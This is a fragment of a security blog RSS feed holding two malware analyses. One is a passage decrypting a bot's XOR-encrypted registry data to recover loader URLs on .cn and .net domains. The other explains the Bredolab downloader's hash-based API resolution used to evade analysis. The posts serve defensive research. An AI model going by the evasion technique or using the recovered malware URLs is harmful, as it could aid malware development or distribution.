<p><span style="font-family: courier new"><span style="color: #0000ff">key        <strong>76 ef 19 a8</strong>   b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000">plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f</span></span></p>
<p><span style="font-family: courier new">text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /</span></p>
<p><span style="font-family: courier new">00000010   1a 80 78 cc  d6 bb c4 55  73 b5 07 77  a4 81 3a 71</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff">key        <strong>76 ef 19 a8</strong> b3 c9 eb 37  11 9b 77 1f  d4 </span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000">plain      6c 6f 61 64  65 72 2f 62  62 2e 70 68  70</span></span></p>
<p><span style="font-family: courier new">text       l  o  a  d   e  r  /  b   b  .  p  h   p </span></p>
<p>Here we can see that the key starts to repeat at the start of the second row. So the key length is 16 bytes, and again we have proved that the key holds the hard coded URL. Decrypting the next byte at the end provides a little bonus, <strong>0&#215;81 XOR 0&#215;81 = 0&#215;00</strong>, the null terminator for the string. Decryption from this point onward exposes bytes that appear to be random.</p>
<p><strong>But now consider another scenario,</strong> <strong>what would we do if we had no idea what the encrypted URLs were?</strong> If we have bots with different URLs using the same key, the problem is not beyond solution. To demonstrate I will use the data from <strong>T1</strong> and <strong>M1</strong>, from the other key group. It turns out, in the end, that only the first two lines of hex are needed for this, so the example below will not show the third line.</p>
<p>First we need to locate the key repetition. We can try <strong>&#8220;http://&#8221;</strong> at the start to find the first seven key bytes. With these key bytes we can  decrypt at different locations until some URL-like text appears. The bot code probably processed this as DWORDs, so we will take a shortcut by checking at four byte intervals, and use only four key bytes for each decryption. If this fails we will have to try decrypting at different intervals, possibly even at every byte. The <strong>&#8220;?&#8221;</strong> marks below indicate decrypted bytes outside the normal text range, which we would not expect in a URL.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        <strong>90 ef 54 12  c6 67 ff</strong> <strong>90 </strong>ef 54 12  <strong>90 </strong>ef 54 12</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f     ac 13 43 e3  01 be be 2d</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /      ?  ?  C  ?   ?  ?  ?  -</span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        <strong>90 </strong>ef 54 12<strong> 90 </strong>ef 54 12<strong> 90</strong> ef 54 12<strong> 90</strong> ef 54 12</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  3a ec 84 2f  b7 51 5c ea  15 d8 10 95</span></span></p>
<p><span style="font-family: courier new"> text       <strong><span style="color: #ff0000">c  n  /  m</span> </strong> :  ?  ?  /   ?  Q  \  ?   ?  ?  ?  ?</span></p>
<p>The true decryption appears to be <strong>&#8220;</strong><span style="font-family: courier new"><strong><span style="color: #000000">cn/m&#8221;</span></strong><span style="font-family: verdana"><span><span style="background-color: #ffffff"><span style="color: #000000">,</span></span></span></span><span><span style="background-color: #ffffff"><span style="color: #000000"><span style="font-family: verdana"> at the start of the second row. None of the others is even close.</span> </span></span></span></span>So it looks like we have found the key repetition and the key length. With this information we can set up our work sheet, with the known key bytes and decryptions they give us filled in. It can be seen below, where the decrypted parts confirm our work so far.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f</span></span></p>
<p><span style="font-family: courier new"> text       <strong>h  t  t  p   :  /  /</strong></span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f</span> </span></p>
<p><span style="font-family: courier new"> text       <strong>c  n  /  m   l  d  /</strong> </span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f</span></span></p>
<p><span style="font-family: courier new"> text       <strong>h  t  t  p   :  /  /</strong></span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65</span></span></p>
<p><span style="font-family: courier new"> text       <strong>t  /  l  o   a  d  e</strong></span></p>
<p>Now we need to extend the URL text parts to uncover more key bytes. In other words we need to make some good guesses, but because the structure of URLs is well known to us, this should not be too difficult.</p>
<p>Notice that the second text line under <strong>T1</strong> starts with <strong>&#8220;cn/mld/&#8221;</strong>. This looks like a <strong>&#8220;.cn&#8221;</strong> top level domain, so let&#8217;s fill in the <strong>&#8220;.&#8221;</strong> and apply the key byte we get.</p>
<p><span style="font-family: courier new"><strong>T1 </strong>00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff                           11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f                           2e</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /                            <strong>.</strong></span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f                           96</span> </span></p>
<p><span style="font-family: courier new"> text       c  n  /  m   l  d  /                            <strong>?</strong></span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff                           11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f                           65</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /                            <strong>e</strong></span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65                           00</span></span></p>
<p><span style="font-family: courier new"> text       t  /  l  o   a  d  e                            <strong></strong></span></p>
<p>Now we have some more decrypted bytes. There is a null at the end of <strong>M1</strong>, this must be the URL string terminator, and a non-text byte (0&#215;96), but let&#8217;s ignore that one for now. It may be junk from beyond the end of the URL string, and we will know soon enough if this was a bad guess. At the end of the first <strong>M1</strong> line the text character is an <strong>&#8220;e&#8221;</strong>, so that we now have <strong>&#8220;et/loade&#8221;</strong>. This looks like it must be <strong>&#8220;.net/loader&#8221;</strong>, so next we will fill this in and decrypt some more.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 6d                  65 72 2e</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  <strong>m</strong> <strong>e  r</strong> .</span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f 62                  00 dc 96</span> </span></p>
<p><span style="font-family: courier new"> text       c  n  /  m   l  d  /  <strong>b</strong> <strong> ?</strong> ?</span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f                  34 98 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 75                  2e 6e 65</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  <strong>u </strong> <strong>.  n</strong> e</span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65 72                  68 70 00</span></span></p>
<p><span style="font-family: courier new"> text       t  /  l  o   a  d  e  <strong>r</strong> <strong>h  p</strong> </span></p>
<p>There is nothing very obvious here, but at the end of the second row of <strong>M1</strong> we have <strong>&#8220;hp&#8221;</strong>. This looks like it could be <strong>&#8220;.php&#8221;</strong>, so let&#8217;s try that next.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 6d           61  64 65 72 2e</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  m            <strong>a   d</strong> e  r  .</span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f 62           68  70 00 dc 96</span> </span></p>
<p><span style="font-family: courier new"> text       c  n  /  m   l  d  /  b            <strong>h   p</strong> ?  ?</span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 34 98 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 75           69  74 2e 6e 65</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  u            <strong>i   t</strong> .  n  e</span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f           90  f5 </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65 72           2e  70 68 70 00</span></span></p>
<p><span style="font-family: courier new"> text       t  /  l  o   a  d  e  r            <strong>.   p</strong> h  p </span></p>
<p>This looks good, and now we have some good hints. In <strong>T1</strong>, in the first line, it looks like we have <strong>&#8220;//m?loader.&#8221;</strong> and in the second line another <strong>&#8220;.php&#8221;</strong> is developing. We can put these in.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f     90 78 </span></span><span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 6d     6c 6f 61  64 65 72 2e</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  m      <strong>l  o</strong> a   d  e  r  .</span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f 62     2e 70 68  70 00 dc 96</span> </span></p>
<p><span style="font-family: courier new"> text       c  n  /  m   l  d  /  b      <strong>.  p</strong> h   p   ?  ?</span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 34 98 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 75     6c 69 69  74 2e 6e 65</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  u      <strong>l  i</strong> i   t  .  n  e</span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 90  f5 </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65 72     62 62 2e  70 68 70 00</span></span></p>
<p><span style="font-family: courier new"> text       t  /  l  o   a  d  e  r      <strong>b  b</strong> .   p  h  p </span></p>
<p>Now, in the second line of <strong>M1</strong>, we have <strong>&#8220;bb.php&#8221;</strong>, and it looks like this also appears in <strong>&#8220;mld/b?.php&#8221;</strong> at second line of <strong>T1</strong>. With this we can fill in the last missing byte.</p>
<p><span style="font-family: courier new"><strong>T1</strong> 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">45</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 90 78 </span></span><span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 6d  79 6c 6f 61  64 65 72 2e</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  m   <strong>y</strong> l  o  a   d  e  r  .</span></p>
<p><span style="font-family: courier new"> 00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f  45 </span></span><span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span> <span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      63 6e 2f 6d  6c 64 2f 62  62 2e 70 68  70 00 dc 96</span> </span></p>
<p><span style="font-family: courier new"> text       c  n  /  m   l  d  /  b   <strong>b</strong> .  p  h   p   ?  ?</span></p>
<p><span style="font-family: courier new"><strong>M1</strong> 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">45</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90  f5</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 34 98 11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      68 74 74 70  3a 2f 2f 75  6b 6c 69 69  74 2e 6e 65</span></span></p>
<p><span style="font-family: courier new"> text       h  t  t  p   :  /  /  u   <strong>k</strong> l  i  i   t  .  n  e</span></p>
<p><span style="font-family: courier new"> 00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11</span></p>
<p><span style="font-family: courier new"><span style="color: #0000ff"> key        90 ef 54 12  c6 67 ff</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 5f </span></span><span style="font-family: courier new"><span style="color: #0000ff">45</span></span> <span style="font-family: courier new"><span style="color: #0000ff">90 78</span></span><span style="font-family: courier new"><span style="color: #0000ff"> 90  f5 </span></span><span style="font-family: courier new"><span style="color: #0000ff">34 98 </span></span><span style="font-family: courier new"><span style="color: #0000ff">11</span></span></p>
<p><span style="font-family: courier new"><span style="color: #ff0000"> plain      74 2f 6c 6f  61 64 65 72  2f 62 62 2e  70 68 70 00</span></span></p>
<p><span style="font-family: courier new"> text       t  /  l  o   a  d  e  r   <strong>/</strong> b  b  .   p  h  p </span></p>
<p>So even if the URLs are unknown, we can still decrypt them if bots with different URLs use the same key. In fact all of the pairs from this group {T1-M1, M1-M5, and T1-M5} can be solved without any really difficult guessing, and using all three makes it much easier. Even when it is not clear what text to fill in next, we can always try different guesses until we find the right one.</p>
<p>Of course the weaknesses in this encryption could have been avoided, or at least reduced. For example, not re-using keys would have helped. What we may be seeing here is evidence that, like many computer users, bot herders don&#8217;t take security as seriously as they should.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/cryptanalysis-of-the-sasfis-registry-key/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>API Resolution in W32/Bredolab.AC!tr.dldr</title>
		<link>http://blog.fortinet.com/api-resolution-in-w32bredolab-actr-dldr/</link>
		<comments>http://blog.fortinet.com/api-resolution-in-w32bredolab-actr-dldr/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 19:54:07 +0000</pubDate>
		<dc:creator>RAlvarez</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[bredolab]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1003</guid>
		<description><![CDATA[In-depth analysis of malware shows different methods of obfuscating their codes. They employ different tactics to hide themselves to harden analysis. They also dynamically load functions that they will be using. Those functions more often times called API (Application Programming Interface) are commonly loaded when we run an application. Malware authors also use dynamic function [...]]]></description>
			<content:encoded><![CDATA[<p>In-depth analysis of malware shows different methods of obfuscating their codes. They employ different tactics to hide themselves to harden analysis. They also dynamically load functions that they will be using. Those functions more often times called API (Application Programming Interface) are commonly loaded when we run an application.</p>
<p>Malware authors also use dynamic function loading to enable itself to adapt to different operating system. They use it to enable their program to run on Windows XP, Vista, Windows 7 or other platform.</p>
<p>Common practice is to list all function names as an array of strings to be loaded once the application is running. They used a combination of LoadLibrary and GetProcAddress functions to get the proper addresses. Still some try to use other techniques of getting those addresses without even using those two functions.</p>
<p>Let’s take a closer look at how W32/Bredolab.AC!tr.dldr resolved its API addresses.</p>
<p>W32/Bredolab.AC!tr.dldr did not use a list of API strings,  instead it uses a list of hash values equivalent of the APIs. The hash is computed as below:</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo1.jpg"><img class="alignnone size-full wp-image-1004" title="bredo1" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo1.jpg" alt="bredo1" width="531" height="181" /></a></p>
<p><strong> These are the steps how the malware got the right API  addresses without using LoadLibrary and GetProcAddress functions. </strong></p>
<p>Step 1:</p>
<p>It first copies the DLL file that it needs in a “%temp%” folder with TMP??.tmp as the filename(?? is a 2-digit number).</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo2.jpg"><img class="alignnone size-full wp-image-1005" title="bredo2" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo2.jpg" alt="bredo2" width="526" height="193" /></a></p>
<p>Step 2:</p>
<p>It then loads the TMP??.tmp to its address space.</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo3.jpg"><img class="alignnone size-full wp-image-1006" title="bredo3" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo3.jpg" alt="bredo3" width="516" height="133" /></a></p>
<p>Step 3:</p>
<p>After loading the tmp file which is the equivalent dll file, it can now work on parsing it.  It parses its content, technically in the export table to get the list of function names. It then computes a hash value for each name and compare it to its own list.</p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo4.jpg"><img class="alignnone size-full wp-image-1007" title="bredo4" src="http://blog.fortinet.com/wp-content/uploads/2010/03/bredo4.jpg" alt="bredo4" width="566" height="188" /></a></p>
<p>Once it gets the right hash value, it then gets the address of the function. And it starts back on Step 1 till it gets all the addresses it needs.</p>
<p>This technique of getting API addresses is not new. But it still serves as a basis of how malware works. Malware authors go to some lengths just to try to make analysis harder. I imagine that this is not even half of what the malware does.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/api-resolution-in-w32bredolab-actr-dldr/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

